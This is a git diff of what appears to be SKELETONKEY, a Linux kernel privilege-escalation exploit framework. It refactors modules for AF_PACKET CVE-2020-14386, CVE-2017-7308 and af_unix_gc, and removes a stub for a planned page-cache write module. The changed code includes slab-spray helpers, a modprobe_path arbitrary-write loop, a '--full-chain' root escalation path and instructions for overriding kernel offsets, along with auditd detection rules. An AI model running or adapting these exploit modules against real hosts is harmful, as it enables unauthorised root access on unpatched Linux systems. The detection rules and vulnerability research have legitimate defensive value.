.pill.yellow { border-color: rgba(210, 153, 34, 0.4); color: var(--yellow); }
|
||||||
|
|
||||||
|
/* Code block */
|
||||||
|
pre.code {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1rem 1.25rem;
|
||||||
|
overflow-x: auto;
|
||||||
|
font-size: 0.88rem;
|
||||||
|
line-height: 1.55;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
pre.code .cmt { color: var(--text-dim); }
|
||||||
|
pre.code .prompt { color: var(--green); user-select: none; }
|
||||||
|
pre.code .hl-green { color: var(--green); }
|
||||||
|
pre.code .hl-yellow { color: var(--yellow); }
|
||||||
|
pre.code .hl-muted { color: var(--text-muted); }
|
||||||
|
pre.code .hl-accent { color: var(--accent); }
|
||||||
|
|
||||||
|
/* Inline code */
|
||||||
|
:not(pre) > code {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 3px;
|
||||||
|
padding: 0.1rem 0.35rem;
|
||||||
|
font-size: 0.88em;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Footer */
|
||||||
|
footer {
|
||||||
|
padding: 2.5rem 0;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.9rem;
|
||||||
|
}
|
||||||
|
footer a { color: var(--text-muted); }
|
||||||
|
|
||||||
|
/* Subtle list styling */
|
||||||
|
ul.tight { list-style: none; padding: 0; }
|
||||||
|
ul.tight li {
|
||||||
|
padding: 0.3rem 0;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
ul.tight li::before {
|
||||||
|
content: "›";
|
||||||
|
color: var(--accent);
|
||||||
|
margin-right: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.hero h1 { font-size: 1.9rem; }
|
||||||
|
.hero .tag { font-size: 1rem; }
|
||||||
|
section h2 { font-size: 1.35rem; }
|
||||||
|
.container { padding: 1.5rem 1rem; }
|
||||||
|
}
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
# Fragnesia — CVE pending
|
|
||||||
|
|
||||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
|
||||||
> Phase 7+.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
|
||||||
into the page cache of an unrelated file. Same primitive shape as
|
|
||||||
Dirty Frag, different reach.
|
|
||||||
|
|
||||||
## Status
|
|
||||||
|
|
||||||
Audit-stage. See
|
|
||||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
|
||||||
section on backup primitives. Notably: trigger appears to require
|
|
||||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
|
||||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
|
||||||
reachable.
|
|
||||||
|
|
||||||
## Decision needed before implementing
|
|
||||||
|
|
||||||
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
|
||||||
yes, this module ships. If we restrict to "default Linux user
|
|
||||||
account, no namespace tricks," this module is out of scope.
|
|
||||||
|
|
||||||
## Not started.
|
|
||||||
@@ -45,9 +45,6 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -55,13 +52,19 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <sys/syscall.h>
|
#include <sys/syscall.h>
|
||||||
@@ -72,52 +75,6 @@
|
|||||||
#include <linux/if_ether.h>
|
#include <linux/if_ether.h>
|
||||||
#include <linux/if_arp.h>
|
#include <linux/if_arp.h>
|
||||||
#include <poll.h>
|
#include <poll.h>
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
|
||||||
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
|
|
||||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
|
||||||
* The exploit path is gated at runtime on the kernel version anyway,
|
|
||||||
* so the stubs are never reached on macOS targets. */
|
|
||||||
#ifndef __linux__
|
|
||||||
#define CLONE_NEWUSER 0x10000000
|
|
||||||
#define CLONE_NEWNET 0x40000000
|
|
||||||
#define ETH_P_ALL 0x0003
|
|
||||||
#define ETH_P_8021Q 0x8100
|
|
||||||
#define ETH_P_8021AD 0x88A8
|
|
||||||
#define ETH_P_IP 0x0800
|
|
||||||
#define ETH_ALEN 6
|
|
||||||
#define ETH_HLEN 14
|
|
||||||
#define VLAN_HLEN 4
|
|
||||||
#define IFF_UP 0x01
|
|
||||||
#define IFF_RUNNING 0x40
|
|
||||||
#define SIOCSIFFLAGS 0x8914
|
|
||||||
#define SIOCGIFINDEX 0x8933
|
|
||||||
#define SIOCGIFFLAGS 0x8913
|
|
||||||
#define SOL_PACKET 263
|
|
||||||
#define PACKET_RX_RING 5
|
|
||||||
#define PACKET_VERSION 10
|
|
||||||
#define PACKET_QDISC_BYPASS 20
|
|
||||||
#define TPACKET_V2 1
|
|
||||||
#define PACKET_HOST 0
|
|
||||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
|
||||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
|
||||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
|
||||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
|
||||||
struct pollfd { int fd; short events, revents; };
|
|
||||||
#define POLLIN 0x001
|
|
||||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
|
||||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
|
||||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
|
||||||
#define MAP_SHARED 0x01
|
|
||||||
#define MAP_LOCKED 0x2000
|
|
||||||
#define PROT_READ 0x1
|
|
||||||
#define PROT_WRITE 0x2
|
|
||||||
#define MAP_FAILED ((void *)-1)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||||
{4, 9, 235},
|
{4, 9, 235},
|
||||||
@@ -135,53 +92,44 @@ static const struct kernel_range af_packet2_range = {
|
|||||||
sizeof(af_packet2_patched_branches[0]),
|
sizeof(af_packet2_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
@@ -223,8 +171,6 @@ static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
* the primitive. It does not land cred overwrite.
|
* the primitive. It does not land cred overwrite.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||||
static void af_packet2_skb_spray(int n_iters)
|
static void af_packet2_skb_spray(int n_iters)
|
||||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
|
||||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
|
||||||
{
|
|
||||||
(void)ctx;
|
|
||||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||||
*
|
*
|
||||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||||
@@ -490,7 +427,7 @@ struct afp2_arb_ctx {
|
|||||||
int n_attempts; /* spray/fire rounds before giving up */
|
int n_attempts; /* spray/fire rounds before giving up */
|
||||||
};
|
};
|
||||||
|
|
||||||
#if defined(__x86_64__) && defined(__linux__)
|
#if defined(__x86_64__)
|
||||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||||
{
|
{
|
||||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||||
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
* frame would then write our payload (the modprobe_path string)
|
* frame would then write our payload (the modprobe_path string)
|
||||||
* into the forged ->data target. */
|
* into the forged ->data target. */
|
||||||
for (int i = 0; i < c->n_attempts; i++) {
|
for (int i = 0; i < c->n_attempts; i++) {
|
||||||
#ifdef __linux__
|
|
||||||
af_packet2_skb_spray(8);
|
af_packet2_skb_spray(8);
|
||||||
#endif
|
|
||||||
pid_t p = fork();
|
pid_t p = fork();
|
||||||
if (p < 0) return -1;
|
if (p < 0) return -1;
|
||||||
if (p == 0) {
|
if (p == 0) {
|
||||||
@@ -535,9 +470,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
}
|
}
|
||||||
int st;
|
int st;
|
||||||
waitpid(p, &st, 0);
|
waitpid(p, &st, 0);
|
||||||
#ifdef __linux__
|
|
||||||
af_packet2_skb_spray(8);
|
af_packet2_skb_spray(8);
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||||
@@ -572,8 +505,11 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||||
if (geteuid() == 0) {
|
* can construct a non-root fingerprint regardless of the test
|
||||||
|
* process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -664,7 +600,7 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||||
}
|
}
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
#if defined(__x86_64__) && defined(__linux__)
|
#if defined(__x86_64__)
|
||||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||||
@@ -703,6 +639,29 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||||
|
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||||
|
* module still registers and `--list` / `--detect-rules` work on
|
||||||
|
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||||
|
* there. */
|
||||||
|
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||||
|
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char af_packet2_auditd[] =
|
static const char af_packet2_auditd[] =
|
||||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||||
|
|||||||
@@ -60,17 +60,23 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <unistd.h>
|
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
@@ -106,44 +112,35 @@ static const struct kernel_range af_packet_range = {
|
|||||||
sizeof(af_packet_patched_branches[0]),
|
sizeof(af_packet_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
@@ -718,8 +715,11 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||||
if (geteuid() == 0) {
|
* can construct a non-root fingerprint regardless of the test
|
||||||
|
* process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -727,16 +727,19 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||||
* early — the kernel-write walk needs them. The integrator can
|
* early — the kernel-write walk needs them. The integrator can
|
||||||
* extend known_offsets[] for new distro builds. */
|
* extend known_offsets[] for new distro builds. */
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
struct af_packet_offsets off;
|
struct af_packet_offsets off;
|
||||||
if (!resolve_offsets(&off, &v)) {
|
if (!resolve_offsets(&off, v)) {
|
||||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||||
v.release);
|
v->release);
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -858,6 +861,30 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||||
|
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||||
|
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||||
|
* Stub out cleanly so the module still registers and `--list` /
|
||||||
|
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||||
|
* `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||||
|
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char af_packet_auditd[] =
|
static const char af_packet_auditd[] =
|
||||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||||
|
|||||||
@@ -58,6 +58,7 @@
|
|||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
#include "../../core/finisher.h"
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
@@ -129,9 +130,14 @@ static bool can_create_af_unix(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -139,10 +145,10 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||||
* kernel_range walker handles "older than every entry" correctly
|
* kernel_range walker handles "older than every entry" correctly
|
||||||
* (returns false → not patched → vulnerable). */
|
* (returns false → not patched → vulnerable). */
|
||||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
|
